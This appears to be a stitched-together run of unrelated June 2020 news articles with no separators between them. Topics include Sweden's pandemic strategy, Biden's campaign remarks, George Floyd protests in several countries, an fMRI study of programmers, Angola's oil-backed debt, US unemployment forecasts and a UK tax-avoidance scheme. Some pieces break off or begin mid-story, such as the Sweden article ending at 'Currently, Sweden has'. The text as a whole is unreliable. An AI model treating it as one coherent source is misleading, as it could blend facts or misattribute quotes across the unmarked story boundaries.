Tegnell draws flak over admission

The chief epidemiologists comments, however, have drawn ire from members of Prime Minister Stefan Lofvens cabinet, which has deferred to Tegnell in its official response to the pandemic. Lana Hallengren, the countrys minister for health and social affairs, said that the countrys top infections disease expert has not provided measures to head off deaths, especially among older adults.

The governments lighter approach to the lockdown has enjoyed widespread support in Sweden. In response to mounting international criticism, Tegnell has insisted that his strategy is a more sustainable response compared to a sweeping cordon sanitaire, which other countries have implemented.

However, experts have noted that Swedens approach may leave the country lagging behind its neighbors, most of whom have already come out of their lockdowns and have begun to restart their economy. In fact, Norway, which shares most of its eastern border with Sweden, and Denmark have decided to close their borders, citing the countrys high death rate. To note, Swedens death per capita is 10 times more than that of Norway, according to late May figures.

In addition, theres little evidence to back up Swedens claim that imposing a more relaxed lockdown will keep the countrys economy afloat. According to Finance Minister Magdalena Andersson, the country is looking at its worst economic crunch since World War II, with the GDP set to contract by 7 percent by the end of the fiscal year  similar to other EU countries.

In a statement made earlier this week, Lofven said that his government would launch an inquiry into the handling of the crisis before the summer. Currently, Sweden has

Learn more about the ongoing coronavirus outbreak at Pandemic.news.

Sources include:

FT.com

Bloomberg.com

Nature.com

TheLocal.se

NationalReview.com
Former vice president Joe Biden estimated Thursday that about 10 to 15 percent of the people out there are just not very good people and accused President Trump of dividing the nation, adding that as president he would bring Americans together.

The words a president says matter, so when a president stands up and divides people all the time, youre going to get the worst of us to come out, Biden said during a Young Americans discussion with a group of black supporters that was moderated by actor Don Cheadle.

Do we really think this is as good as we can be as a nation? I dont think the vast majority of people think that, the presumptive Democratic nominee continued. There are probably anywhere from 10 to 15 percent of the people out there that are just not very good people, but thats not who we are. The vast majority of the people are decent, and we have to appeal to that and we have to unite people  bring them together.

The former vice presidents remarks evoked memories of Hillary Clintons claim during the 2016 campaign season that half of Trump supporters could be put in a basket of deplorables, a comment that provoked outrage from Trump, his supporters, and other Republicans. In 2012, leaked video of Republican presidential candidate Mitt Romney showed him saying that 47 percent of voters would not vote for him because they are dependent upon government.

Bidens comments come as the nation is rocked by protests and riots in the wake of the death of George Floyd, a black man who died in police custody after white Minneapolis police office Derek Chauvin knelt on his neck for several minutes. Both peaceful protests and riots have broken out in Minneapolis and cities around the country, including Washington, D.C., New York City, Philadelphia, Seattle, Atlanta, Boston, Los Angeles, and Dallas.

Biden emphasized that people should not allow the protesting to overshadow the purpose of the protest, adding that, theres going to be a lot of folks that are going to want to cause trouble. Some cops, but some folks too.

Story continues

On Thursday, Attorney General William Barr said that since Saturday in Washington, D.C. alone, 114 law enforcement personnel had been injured during riots, including 22 hospitalizations, mostly for serious head injuries. On Monday, however, a largely peaceful protest was broken up by law enforcement minutes before Trump walked over to St. Johns Episcopal Church, which protesters had set fire to the previous night.

Hate didnt begin with Donald Trump, its not going to end with him, Biden said during Thursdays discussion.

I thought we had made enormous progress when we elected an African-American president, I thought things had really changed, Biden said. I thought you could defeat hate, you could kill hate. But the point is, you cant. Hate only hides, and if you breathe any oxygen into that hate, it comes alive again.

More from National Review
Credit: CC0 Public Domain

What goes on in the minds of programmers when they write software? This was the question posed by Prof. Dr. Janet Siegmund, Chair of Software Engineering at Chemnitz University of Technology, Prof. Dr. Sven Apel, Chair of Software Engineering at Saarland University and Dr. Andre Brechmann, head of the special laboratory for non-invasive imaging at the Leibniz Institute of Neurobiology in Magdeburg. To find out, the researchers used imaging techniques from the neurosciences and investigated which brain areas are activated when reading and understanding computer programs. Their amazing result: Programming is like talking. They found out that the brain regions that are most active are those that are also relevant in the processing of natural language.

They have now published the results of their basic research in the renowned journal Communications of the ACM, which is published by the world's largest professional association for computer science. Lead author was Janet Siegmund from Chemnitz University of Technology. The findings could have far-reaching consequences in the design of programming languages, programming education, or answering fundamental questionssuch as what constitutes complicated or simple program code.

New research approachFirst brain analysis in programming

"The idea for our research question arose in Magdeburg during a joint meeting of researchers from the Leibniz Institute of Neurobiology and the Faculty of Informatics in Magdeburg," said Janet Siegmund. In several small and large pilot studies, supported by Prof Kastner (Carnegie Mellon University) and Prof Parnin (North Carolina State University), the researchers developed a versatile methodological basis. This effort was worthwhile, because in the meantime, the methodology developed by Siegmund and her colleagues is on its way to becoming a standard and has already proven itself in international studies.

"Our goal was to develop a completely new approach to better understand the cognitive processes involved in programming," says Sven Apel from Saarbrucken. Siegmund, Apel, and Brechmann made the brain activity of programmers visible for the first time while they analyzed several lines of code. In doing so, the scientists worked together like a unit that complemented each other. While Brechmann, as an experienced neuroscientist, contributed his experience with experiments in functional magnetic resonance imaging (fMRI) and Apel, as an experienced researcher, contributed his expertise in software development, Siegmund, with her interdisciplinary expertise in psychology and computer science, acted as a link.

Prof. Dr. Janet Siegmund from Chemnitz University of Technology and her colleagues from Saarbrucken and Magdeburg have investigated how the brain works during programming. Photo: Juliane Franke

Research design on the way to the standard

For the study, the team used the subtraction method, which has proven itself in neuroscience: In this method, the the subjects first work on a task in the magnetic resonance tomograph, for the solution of which they have to understand an extract of the program code. After a short rest period, they were asked to check a code snippet for simple syntax errors, which is a routine task for programmers, meaning it was not a question of understanding. This procedure was repeated several times. Subsequently, the images of brain activity during the processing of the routine task were subtracted from the images of the comprehension testwhat remained were the brain regions that are of particular importance for the process of program comprehension.

To see what happens in the brain during this process, the team used a functional magnetic resonance tomograph. The image data clearly showed activation in the test subjects' left brain areas, which are mainly associated with speech comprehension. "To our surprise, we could not observe any activity in the direction of mathematical or logical thinking," said the researcher summarizing the results. "Our research suggests that speech understanding plays a central role in programming. The renowned Dutch computer scientist Edsger W. Dijkstra already expressed this assumption in the 1980s," Apel adds.

The research design has since been taken up by research groups around the world and expanded to include additional aspects. The research team assumes that the results could also feed back into neuroscience by discovering new cognitive processes that differ, for example, from reading comprehension and logical reasoning.

The team led by Siegmund, Apel and Brechmann is now hoping to find out how the understanding of programs differs between experts and beginnerswhether they read and interpret program code in different ways.

Explore further Artificial intelligence to improve resolution of brain magnetic resonance imaging

More information: Janet Siegmund et al. Studying programming in the neuroage, Communications of the ACM (2020). Journal information: Communications of the ACM Janet Siegmund et al. Studying programming in the neuroage,(2020). DOI: 10.1145/3347093

Provided by Chemnitz University of Technology
The FBI is seeking the public's help identifying a vehicle connected to the shooting of a federal officer at the Ronald V. Dellums Federal Building last Friday.

The vehicle is a white van identified by officials as a 1997-2002 Ford E-250 or E-350 Cargo Van. It did not appear to have license plates at the time of the shooting.

In addition, the FBI is seeking images of the van from businesses and private residences with surveillance cameras within a designated area of downtown Oakland seen in the map below. The FBI asks anyone with cameras to review surveillance footage from May 29 between 7 p.m. and 11 p.m. and contact the FBI if there is footage of the van.

FBI

The FBI says the vehicle pulled up to the building and an assailant inside the vehicle began shooting at security personnel stationed outside. Two officers were shot, with one succumbing to his injuries and dying. Officials later identified the deceased as Dave Patrick Underwood, 53, of Pinole, Calif. Underwood's sister, Angela Jacob Underwood, also posted about her brother's death on Facebook: "My brother, Dave Patrick Underwood, a federal officer, was murdered 5/29/20 in Oakland California, while on duty during the riots," she wrote. "This Violence Must Stop."

The second officer was injured and his condition was not released by the FBI.

On Saturday, Gov. Gavin Newsom issued a statement urging caution in directly linking the protests with the shooting.

No one should rush to conflate this heinous act with the protests last night, he said.

On the night of the shooting, thousands gathered for protests over the killing of George Floyd at the hands of the Minneapolis Police Department. Although the demonstration began peacefully, by the end of the night there were widespread reports of damage around the city. In total, 22 people were arrested on Friday, with 18 arrested by the Oakland Police Department and four arrested by other agencies. In addition, 60 suspected looters were detained for further investigation. None of the arrests were in connection with the shooting at the federal building.

SFGATE manager Katie Dowd contributed to this report.

Eric Ting is an SFGATE digital reporter. Email: eric.ting@sfgate.com | Twitter:@_ericting
05.06.2020 LISTEN

Neat FM has apologised to celebrated actress Yvonne Nelson over defamatory comments on its platform by one Mona Gucci.

Mona Gucci in an interview with Ola Michael on Neat Fm weeks ago mentioned a long list of female showbiz personalities including Yvonne who she alleged is a slay queen.

She also alleged that Yvonne makes appearances in Nigeria to meet men who sponsor her movies, suggesting she sleeps around for favours.

The Fix Us producer and actress last week through her lawyers wrote to the Accra-based radio station and Mona Gucci to retract and apologise to her over the comments or she goes to court.

She is not only appalled by the comments but also she feels defamed. She wanted the radio station and its guest to mention her name and apologise to her just as when defaming her.

The station has therefore done the honourable thing by apologising in a recent video posted by Ghanaian Journalist and Blogger Attractive Mustapha
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Linkedin (Reuters) Madrid, Spain  Fri, June 5, 2020 13:20 595 fc6853813033f564188675f8bdc5ee5c 2 Sports soccer,EPL,Real-Madrid,GarethBale Free

Real Madrid forward Gareth Bale does not want to return to the Premier League at the moment and could finish his career at the Spanish club, the Welshman's agent Jonathan Barnett has said.

Despite winning four Champions League titles with Real, Bale divides opinion due to a perceived lack of commitment and a poor injury record. He seemed set for a move to Chinese club Jiangsu Suning last year before the deal fell through.

"He has a very nice lifestyle. I don't see why he doesn't see his career out at Madrid probably," Barnett told the BBC.

"... To come back and play (in the Premier League) would be unbelievable -- a big thing. I don't think he wants to do that at the moment. He's quite happy to play at Real."

Real host Eibar on June 14 when La Liga resumes after a three-month pause due to the COVID-19 pandemic.
WATERLOO REGION  Kitchener South-Hespeler Liberal MP Marwan Tabbara faces charges of assault, break and enter and criminal harassment.

In a statement Friday afternoon, Tabbara said he was stepping down from the Liberal caucus.

Tabbara said he continues to receive counselling and treatment for anxiety and depression which he says he has been living with for some time.

Tabbara said he deplores violence in all its forms.

Other than to state equivocally that every incident of violence is unacceptable and inexcusable, it would be inappropriate for me to comment further while this matter is before the court, he said.

The Prime Ministers Office says it learned Friday morning about multiple criminal charges laid against Tabbara and is looking into the matter.

They are two counts of assault, one count of break and enter and commit an indictable offence and one count of criminal harassment.

Const. Brian Murphy of Guelph Police confirmed the four charges against Tabbara on Friday. The charges are connected to an incident on April 10 in Guelph. He is expected to appear in court on June 19.

Tabbara is the first and only MP elected in the riding that was created in 2015.

Before politics Tabbara worked in temp jobs, in construction and electrical and roofing jobs. He was a line supervisor at the Frito-Lay snack plant in Cambridge.

In an interview with The Record after he was first elected almost five years ago, Tabbara said his work experience would make him a better MP.

I know how it feels to be making minimum wage, working hard jobs that are repetitive, jobs that hurt your back, he said. I know that its getting hard for people to make ends meet. I want them to know I was there, too, and I feel for them.

Tabbara is the youngest of three brothers. His mother and siblings fled Beirut, Lebanon, during the civil war. He was four when he came to Canada.

Tabbara, who has a degree in political science from the University of Guelph, threw his name into the nomination to run as a candidate in Kitchener South-Hespeler while studying for law school entrance exams.

Tabbara said he wanted to do something that would make a difference. He credited his win to the many people he met on the campaign trail.

Im anxious because Im still thinking of the people that I met in my old workplace, in going door to door. Some of them are struggling, and they have issues. I want to be a person who can solve these issues, he said. Im excited to get to work.
Investigators found a bucket full of scalpels, medical equipment used to perform C-sections and medicine. He may have been performing C-sections on animals because some of the breeds  such as French bulldogs  are known to have trouble delivering puppies, police said.

Rajcinoski pleaded guilty Tuesday to one count of mutilation, a level 6 felony, and misdemeanor counts of cruelty to an animal and failure to register as a breeder, according to a plea agreement. The conviction on the felony count was to be entered as a class A misdemeanor.

In an exchange with Stracci, Rajcinoski admitted he knew the C-sections he performed didn't meet current veterinary standards and resulted in serious temporary disfigurement.

He also admitted he endangered the health of all of his dogs by not separating them from several dogs that had contracted a highly contagious respiratory infection. He failed to seek licensed veterinary care for the infected dogs, and he failed to seek a breeder's license even though he knew it was required because he owned more than 20 unaltered female dogs.
FILE PHOTO: Kaombo Norte floating oil platform is seen at night off the coast of Angola

By Julia Payne and Dmitry Zhdannikov

LONDON (Reuters) - Angola has cut the number of oil cargoes that it will ship to Chinese state firms to pay down debt to Beijing as it seeks to renegotiate repayment terms to deal with the crippling impact of the coronavirus, three sources familiar with the matter said.

Angola said this week it had asked for G20 debt relief and was in advanced talks with some countries importing its oil on adjusting financing facilities, but expects no further debt overhaul to be needed beyond this.

The sharp global economic slowdown due to the novel coronavirus pandemic pushed Brent oil prices to their lowest levels since the late 1990s and U.S. oil futures to negative territory for the first time in history.

The price drop has put heavily-indebted Angola into a fragile state as it derives a third of state revenues from oil.

By far, its biggest creditor is China. Analysts say Angola has over $20 billion in bilateral debt with the lion's share owed to China. Much of the cash was borrowed to build roads, hospitals, houses and railways across the southern African country.

On top of its Chinese debt, Luanda secured a $3.7 billion loan from the International Monetary Fund last year and state oil firm Sonangol has borrowed $2.5 billion from banks between end-2018 and mid-2019, the IMF said.

A global oil output cut deal led by the Organization of the Petroleum Exporting Countries (OPEC) has added to Luanda's woes.

As an OPEC member, Angola was pressured to cut oil exports starting from May. The result has left the country with fewer and lower-value cargoes to split between paying off its Chinese debt and filling its depleted coffers.

The sources said that China's state-owned Sinochem would receive five cargoes in July, down from the usual seven or eight, while the trading arm of Chinese giant Sinopec called Unipec would receive none.

Unipec typically receives two to three cargoes earmarked as debt repayment.

Story continues

Sonangol, Angola's finance ministry, Sinopec and Sinochem did not immediately respond to requests for comment.

China's foreign ministry said on Wednesday that the relevant departments were in contact with Angola over its request for debt relief.

"These oil-backed loans create stronger interdependence (between lender and borrower) than traditional financing. This tactic of diverting cargoes is not new as seen elsewhere," David Mihalyi, a senior economic analyst with the Natural Resource Governance Institute, said.

Chad threatened to cut repayment cargoes to commodities trader and miner Glencore during a major loan restructuring in 2017. Similarly, Congo Republic has cut many repayment oil cargoes to Glencore and commodities trader Trafigura as discussions drag.

Angola is not the only African country heavily indebted to China. The IMF and ratings agency Moody's have raised concerns about debt levels in sub-Saharan Africa particularly with China.

(Reporting by Julia Payne; Editing by Emelia Sithole-Matarise)
Unprecedented levels of monetary stimulus cannot address underlying disruption to the global economy, according to former Federal Reserve Governor Randy Kroszner.

Central banks around the world have taken drastic action since the coronavirus pandemic began to force governments to shut down their economies in mid-March. The Fed has implemented rate cuts and a host of credit and lending programs that could inject more than $6 trillion into the American economy.

On Thursday, the European Central Bank announced a 600 billion euro ($672 billion) expansion to its Pandemic Emergency Purchase Programme (PEPP), bringing its total bond-buying effort to 1.35 trillion euros.

Kroszner told CNBC's "Squawk Box Europe" Friday that there is "only so much that the central banks can do."

"Central banks are extremely powerful but they can't cure the virus, they can't unlock economies, they can't replace broken supply chains," he said.

"The central banks can help to try to prevent a financial crisis, they can try to provide support as a bridge to a new equilibrium, but it is going to be a while to get to the new equilibrium and it is not going to be easy," Kroszner added.
After the Spring

To the Editor:

In his otherwise incisive May 24 review of Noah Feldmans The Arab Winter: A Tragedy, Robert F. Worth presents the Arab Spring uprisings as discrete historical events that bear little relationship to the current state of Arab politics. However, youth protests in Sudan, Lebanon, Iraq and Algeria in 2019 and 2020 all led to the removal of corrupt and authoritarian prime ministers and presidents. In Iraq, widespread youth protests continue calling for reform of the electoral system and an end to corruption.

We should keep the door open to the possibility for democratic change in the Arab world. In Sudan, a joint civilian-military committee is tasked with implementing a transition to democracy. In Iraq, greater democratization is not out of the question, given the breadth and intensity of the youth protests, the wide public support they enjoy and the pressures that the collapse of global oil prices and the Covid-19 health crisis have placed on the Iraqi government. No one can predict the outcome of these protests.

Eric Davis

Highland Park, N.J.

The author is a professor of political science at Rutgers University.



To the Editor:

I was pleased to see Robert Worth acknowledge the significance of democratic aspirations in the Middle East in his review of Noah Feldmans The Arab Winter. Unfortunately, both Worth and Feldman reveal common limitations in Westerners perceptions of the so-called Arab world  a phrase that in its very broadness should raise red flags for its elision of differences.

To claim that the uprisings signaled, in Feldmans words, a new, unprecedented phase in Arab political experience, in which participants engaged in collective action for self-determination, is to ignore the significance of 19th- and 20th-century anticolonial movements in places as distinct as Sudan and Algeria.
The murder of George Floyd is a blatant example of racism that outrages us good, white liberals, but what about the acts of racism that we commit and dismiss? And what about when we encourage racism through our parenting?

I live in a suburban neighborhood in New Haven, where most of my neighbors are white lawyers, doctors, professors and other professionals who have access to institutional power. They discuss their disdain for police brutality in communities of color. They support immigrants and refugees. They have contempt for Trumps encouragement of white supremacy. In short, they take issue with racism as a political issue.

However my neighbors, like many white, liberal professionals, often fail to take action in their personal lives. As a result, they support white supremacist agendas. Many of them even perpetuate white supremacy through their child rearing. They want educational equity but they wont send their kids to public schools. And if they do, they certainly do not send them to the high school that is 95 percent black, even if it is their neighborhood school. They want New Haven to be a sanctuary city, but they do not send their children to city summer camps to build friendships with the children of immigrant laborers. They take their kids out of the city sport programs around middle school and put them in expensive private clubs, removing their money from the city programs that benefit predominantly low-income children of color. And I get it; they are just helping their kid get ahead. But get ahead of whom?

White, liberal professionals benefit from white supremacy, not just privilege, whether they want to acknowledge it or not. The same white supremacy that encouraged the murder of George Floyd allows their children to rise to the top of the white supremacist rubric and go to elite universities. They are in the top 1 percent because others are at the bottom. We dont get to pick and choose when and how white supremacy and racism hurts them and benefits us. If we are benefiting, its most likely because they are not.

All whites, but especially liberal professionals with access to institutional power, must stop teaching their kids to segregate, thereby reinforcing that there is an us and them. Not until this happens will the open, honest racists be forced to stop killing black and brown people. And speaking of honesty, lets try it. If you are a good, white liberal, ask yourself this question: Although you may not have kneeled on the neck of George Floyd and you feel terribly now, would you have hung out with him or encouraged your kids to play with his kids?

Tracy L. Tamborra is a professor of criminal justice at the University of New Haven who studies race, class and gender issues in the criminal justice system.
The Lord Mayor of Dublin, Tom Brabazon, is urging people to sign an online book of condolence for George Floyd rather than protesting.

Thousands of people attended a Black Lives Matter demonstration in Dublin on Monday with another planned tomorrow.

The online book of condolence can be found here.

Meanwhile, organisers of separate events in Cork and Galway have postponed their demonstrations.

A memorial service was held in the US last night for Mr Floyd who died after a police officer knelt on his neck.

I have opened an online Book of Condolence so Dubliners can express their sympathy to the family of George Floyd RIP and to give their support those who fight racial injustice worldwide. It can be signed at https://t.co/1gWQWbwZMz until 17th June. pic.twitter.com/Ei7FTaVfdb  Lord Mayor of Dublin (@LordMayorDublin) June 3, 2020

Councillor Tom Brabazon said people should not be attending mass gatherings.

Cllr Brabazon said: "I understand why people were angry, I understand why people felt the need to protest but we are in the middle of a pandemic and I would urge people to look at alternatives in terms of getting the message across.

"One of those ways is the online book of condolences that was opened up by Dublin City Council.

"The organisers won't have control over every individual and while a lot of the individuals will try to be responsible and try and socially distance, it's not always going to be possible with the numbers involved.

"They really need to take a second look at having this protest and look at alternatives. I would plead to them to do so."
Photo: The Canadian Press Protesters raise their fists at an anti-racism demonstration reflecting anger at the police killings of black people, in Toronto on Friday, June 5, 2020. THE CANADIAN PRESS/Nathan Denette

Prime Minister Justin Trudeau knelt on the ground as part of a crowd gathered on Parliament Hill Friday afternoon, in solidarity with anti-racism demonstrators protesting police killings of black people.

The demonstration is one of multiple events in Canada, following days of demonstrations against racism and police brutality in numerous American cities.

Trudeau had declined to say earlier Friday whether he would attend, but arrived on Parliament Hill in mid-afternoon with security guards, wearing a black cloth mask.

Some in the crowd shouted at him to stand up to U.S. President Donald Trump.

Trudeau clapped and nodded in response to many of the things said by speakers at the front of the crowd, including one who said there is no middle ground on the issue.

"You are either a racist or an anti-racist," the speaker said.

He gave a similar response when the crowd starting chanting: "Black lives matter."

In Toronto, as officers generally kept a low profile, more than 1,000 people walked peacefully in blazing sunshine chanting, "I can't breathe," "No justice, no peace," or "Hands up, don't shoot." Others held signs reading "Racism is a pandemic, too" or "Silence is violence."

They later massed in a sudden downpour, kneeling and raising clenched right fists, with most then dispersing.

The demonstrations followed protests across the U.S. after a video showed a white Minneapolis officer kneeling on the neck of a black man, George Floyd, for nearly nine minutes even as he pleaded that he couldn't breathe. Floyd fell still and died, the officer's knee still on him.

Reports and video of problematic police encounters with minorities in Canada have also surfaced recently.

"We're fed up. We need change and we do not trust police," said one protester, John Coleman. "Black lives really matter."

Toronto police Chief Mark Saunders and other uniformed officers met a group of protesters, then Saunders removed his hat, and took a knee at a downtown intersection near police headquarters.

"We see you and we are listening," Saunders, who is black, tweeted after the meeting. "We have to all stay in this together to make change."

Ontario Premier Doug Ford praised Saunders' action, calling it "true leadership."

Several businesses on downtown Yonge Street and area boarded up their windows in anticipation of Friday's protest and others planned for the city over the weekend. The landmark Eaton Centre closed until Monday as a precaution.

"Even though Toronto boarded up everything  they must have thought that we were going to be on some crazy hooligan stuff that they only show on the news  but we actually came out here for positivity to get our message out," said one participant, Blake Gabriel.

Another protester, Junae Watson, said she wanted to show black people are equal to other races.

"People have this conception that Canada doesn't have a lot of racism, which isn't true," Watson said.

Earlier Friday, Trudeau called videos and reports from across the country in recent weeks "disturbing." Those include an encounter between an Indigenous man and the RCMP in Nunavut.

While each case needed to be investigated, Trudeau said the larger issue of systemic racism in policing was long-standing and needed addressing.

"Far too many Canadians feel fear and anxiety at the sight of law enforcement officers," Trudeau said. "Over the past weeks, we've seen a large number of Canadians suddenly awaken to the fact that the discrimination that is a lived reality for far too many of our fellow citizens is something that needs to end."

Change, he said, needed to start immediately but would not happen overnight.

In Ottawa, demonstrators planned to march from Parliament Hill through Ottawa's streets in an event organized by No Peace Until Justice, formed by a young black woman. The goal was to bring together black activists and organizations and allies to stand in solidarity against police brutality and societal racism.

Organizers asked police to stay away and said they had not invited Mayor Jim Watson, who had said he would attend. The group also said it opposed all live-streaming and video or photos to protect the identity and safety of those attending.
As part of the efforts to ease the potential downturn in the construction sector due to the COVID-19 outbreak, the federal government has unveiled a new scheme that will provide assistance to homeowners who wish to rebuild or renovate their existing homes.

Under the HomeBuilder program, owner-occupiers can apply for a $25,000 grant for the construction of a new home or the renovation of an existing property. The program aims to provide 27,000 grants by December this year.

A statement from the Office of the Prime Minister said the program will be able to support 140,000 direct jobs and another 1,000,000 related jobs in the residential construction sector. This includes businesses and sole-trader builders, contractors, property developers, construction materials manufacturers, engineers, designers, and architects.

"This increase in residential construction will help to fill the gap in construction activity expected in the second half of 2020 due to the coronavirus pandemic," the statement read.

Simon Basheer, national president of the Urban Development Institute of Australia (UDIA), said the boost the program aims to provide to the construction industry will ultimately help the economy.

"The economic recovery will be swifter and stronger for having a housing and construction industry that is robust. The package will help pull forward activity that meets the challenges of the 'economic and jobs cliff' facing the industry in the second half of 2020," he said.

According to the statement of the prime minister, the HomeBuilder program complements the existing state and territory First Home Owner Grant programs, stamp duty concessions and other grant schemes, as well as the First Home Loan Deposit Scheme and First Home Super Saver Scheme.

Adrian Kelly, president at the Real Estate Institute of Australia, said aside from the "massive boost" in employment, the scheme bridges the gaps of the earlier proposed schemes.

"It is the owner-occupier that decides how the extra dollars are to be spent, whether it is on a new build or a major renovation to their existing home. First home buyers can benefit by buying a property at the lower end of the market in a location they prefer and upgrade immediately," he said.

In an earlier report, Kelly called out proposed policies that aims to assist first-home buyers who are targeting new homes.

"To limit any assistance to first-home buyers to only new dwellings could lead to sub-optimal outcomes in the utilisation of existing property and infrastructure," he said.

Kelly said less than 20% of first-home buyers prefer to buy newly-constructed homes. He believes introducing a grant that limits their choice would only impede any potential activity in the housing market.

To know more about the scheme, check out this story from Your Mortgage.
Burma COVID-19 Frontline Volunteers in Myanmar in Need of Protective Equipment and Safety Training

Volunteers deliver food at a COVID-19 quarantine center in Yangon in April. / Myo Min Soe / The Irrawaddy

Yangon  A COVID-19 frontline volunteer from Pathein Township in Ayeyarwady Region has called on State Counselor Daw Aung San Suu Kyi to provide enough safety equipment and training to frontline volunteers at quarantine centers.

On Friday, Daw Aung San Suu Kyi held a video conference with the minister for social welfare, relief and resettlement, Dr. Win Myat Aye, Kayah States minister for social affairs, Dr. Aung Kyaw Htay, and an Ayeyarwady Region frontline quarantine center volunteer.

The volunteer, Ma Aye Myat Mon Moe, at Pathein Universitys quarantine center told the State Counselor that there is too little protective equipment available.

Frontline volunteers have not been trained in safety procedures and how to contact those in quarantine centers, said Ma Aye Myat Mon Moe.

Dr. Win Myat Aye said that as of Thursday, 46,663 people are under quarantine at 9,971 centers.

He added that 45,213 people have volunteered for quarantine centers.

Various volunteers have help the government in preparing quarantine centers and distributing food.

Volunteer like Ma Aye Myat Mon Moe have stayed within quarantine centers with the people who have been quarantined, cleaning rooms with disinfectant and supplying food. They have been called frontline volunteers and are most at risk of coronavirus infection.

We feel very insecure due to a lack of equipment. We want better protection, Ma Aye Myat Mon Moe told the State Counselor.

She also said they were using non-specialized equipment, like normal aprons, to protect themselves.

Ma Aye Myat Mon Moe is under quarantine herself and has submitted a swab sample after one of the returnees from Malaysia at Pathein University tested positive.

She also called on the State Counselor to provide enough food.

Ko Thurein Min Zin, another Pathein University frontline volunteer, told The Irrawaddy on Friday that more volunteers are urgently needed.

He said there are only four frontline volunteers at the Nanda quarantine ward at the university, which houses about 80 returnees.

There are only two frontline volunteers at the Daetha ward at the university, where about 100 returnees are quarantined.

Six other frontline volunteers, including Ma Aye Myat Mon Moe, are now under quarantine awaiting COVID-19 test results after two returnees at the Daetha ward tested positive on May 19 and 29.

Due to staff shortages, frontline volunteers often have to help with tasks which are normally done by other volunteers who are assigned outside the quarantine wards.

Daw Aung San Suu Kyi promised to provide enough food and proper safety equipment for the frontline volunteers at the center.

She also pledged to ensure special safety training would be available for volunteers online.

We value the power of volunteers. We rely on them. We cant curb the spread of COVID-19 effectively without a force of volunteers, she said.

On April 24, the government formed a National Volunteer Steering Unit, chaired by Daw Aung San Suu Kyi, to organize the COVID-19 volunteer response.

It is due to track the number of volunteers at quarantine centers, monitor the needs of the centers, prepare free health care and medical checkups and arrange protective equipment, food and transport for volunteers.

Dr. Win Myat Aye, who also sits on the committee, said safety training had been provided to volunteers since May 15 and many new volunteers have registered.

He added that trained volunteers will be assigned to quarantine centers soon.

Since April 30, the Ministry of Foreign Affairs said it has brought home more than 2,800 stranded nationals in more than 10 countries, including Bangladesh, India, Indonesia, Japan, South Korea, Singapore, Thailand, the United Arab Emirates, UK and US.

More than 15,000 migrants have also returned from Thailand since May 22.

All returnees from abroad are ordered to stay in quarantine for 21 days and then in isolation at home for a further seven days.

As of Friday, Myanmar has reported 236 COVID-19 cases, including six deaths and 148 recoveries with 77 cases imported from other countries.

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The US unemployment rate likely shot up to almost 20% in May, a new post World War Two record, with millions more losing their jobs, exposing the horrific human toll from the Covid-19 crisis.

The Labor Departments closely watched monthly employment report on Friday could bolster economists dire predictions that it would take several years to recover from the economic meltdown.

Still, May was probably the nadir for the labor market. While layoffs remained very high, they eased considerably in the second half of May as businesses reopened after shuttering in mid-March to slow the spread of Covid-19.

Consumer confidence, manufacturing and services industries are also stabilizing, though at low levels, hopeful signs that the worst was over.

The good news is that we probably have hit the bottom, said Sung Won Sohn, a finance and economics professor at Loyola Marymount University in Los Angeles. But the recovery will be painfully slow. It will take years, probably a decade to get back to where we were at the end of last year.

The employment report is compiled from two separate surveys. According to a Reuters poll of economists, the survey of households is likely to show the unemployment rate jumped to 19.8% in May from 14.7% in April, which was the highest since 1948 when the government started keeping records. The survey of establishments is forecast showing nonfarm payrolls dropped by 8 million jobs after a record 20.537 million plunge in April.

That would bring total job losses to 29.4 million since March, when US states began to shut down non-essential businesses to rein in the coronavirus. That would be more than three times the jobs lost during the 2007-09 Great Recession, and it took six years recoup the jobs lost during that downturn.

Economists are split on whether the governments Paycheck Protection Program (PPP) is helping. The PPP, part of a historic fiscal package worth nearly $3 trillion, offers businesses loans that can be partially forgiven if used for employee pay.

The Labor Departments Bureau of Labor Statistic (BLS), which compiles the employment report, said a misclassification by respondents made the unemployment rate lower than it really was in April. A large number of people had classified themselves as being employed on temporary layoff instead of unemployed on temporary layoff.

Without the misclassification, the April rate would have been closer to 19%. Some economists expect the BLS addressed this problem in May, which could account for estimates for Mays unemployment rate in the Reuters survey being as high as 27%. The jobless rate neared 25% during the Great Depression of the 1930s.

POLITICAL RISK

The labour market distress poses a significant risk to Presidential Donald Trump, who is seeking re-election and whose administration has been severely criticized for its handling of the pandemic. Though many economists expect the unemployment rate to peak in May, it is forecast to be above 10% when Americans head to the polls on November 3.

Details of the household survey could offer fresh clues on the economy. In April, at least 18.1 million of the 23.1 million people unemployed said they were on temporary layoff, indicating they expected to go back to work within six months. About 2.6 million believed they had permanently lost their jobs.

What makes this downturn different from all others is that people have held the belief that once everything reopens all the jobs are going to come back, said Steven Blitz, chief US economist at TS Lombard in New York.

If we see temporary layoffs go down as more see those job losses permanent, that means their confidence in the economy six months from now is going to be a lot less and thats going to reduce spending plans.

Economists say workers perceptions that their layoffs were temporary is one reason the US stock market has rebounded sharply from the pandemic lows.

Mays anticipated job losses were likely across the board, though the carnage in the leisure and hospitality industry probably abated. Cash-strapped state and local governments likely laid off teachers last month.

Regarding wages, the destruction of low-paying jobs is expected to have boosted average pay for a second straight month, with average hourly earnings forecast increasing 1.0% in May.

It bears no relation to reality, said James Knightley, chief international economist at ING in New York.

The average workweek is forecast rising to 34.3 hours from 34.2 hours in April.
Sir Steve Redgrave is one of dozens of wealthy individuals who used a controversial 'tax avoidance' scheme that could have cost HMRC up to 5million, it has emerged.

The Olympian, who has five gold medals, put money into a scheme that gave tax breaks for investing in regeneration projects alongside barristers, accountants, investors, City executives and entrepreneurs.

The plan, allowing Scottish councils to save money while sprucing up deprived areas, may have seen the champion rower and others sign up in good faith, but HMRC suspects the tax relief which some were able to claim was more than legally allowed, according to The Times.

Sir Steve Redgrave, pictured, is one of dozens of wealthy individuals who used a controversial 'tax avoidance' scheme that could have cost HMRC up to 5million, it has emerged

News of Sir Steve's involvement comes after exchequer bosses won a recent tribunal against Inverclyde Property Renovation LLP & Clackmannanshire Regeneration LLP - and hopes to claw back 2 billion over similar schemes up and down the country.

HMRC said in a statement they 'will not hesitate to protect taxpayers' money by challenging these schemes in court'.

Investors have previously contributed to regeneration projects as part of Business Premises Renovation Allowance (BPRA) which provided tax breaks for renovating buildings that have been empty for a year.

Such schemes included the likes of Simon Koshoff, the co-founder of the Carluccio's restaurant chain. BPRA however was scrapped in 2017 after its links with tax avoidance.

BPRA was a government scheme and although links to tax avoidance will be unwelcoming to Redgrave and Koshoff there is no suggestion they are implicated in any wrongdoing.

Both Redgrave and Koshoff were approached for comment but did not respond.

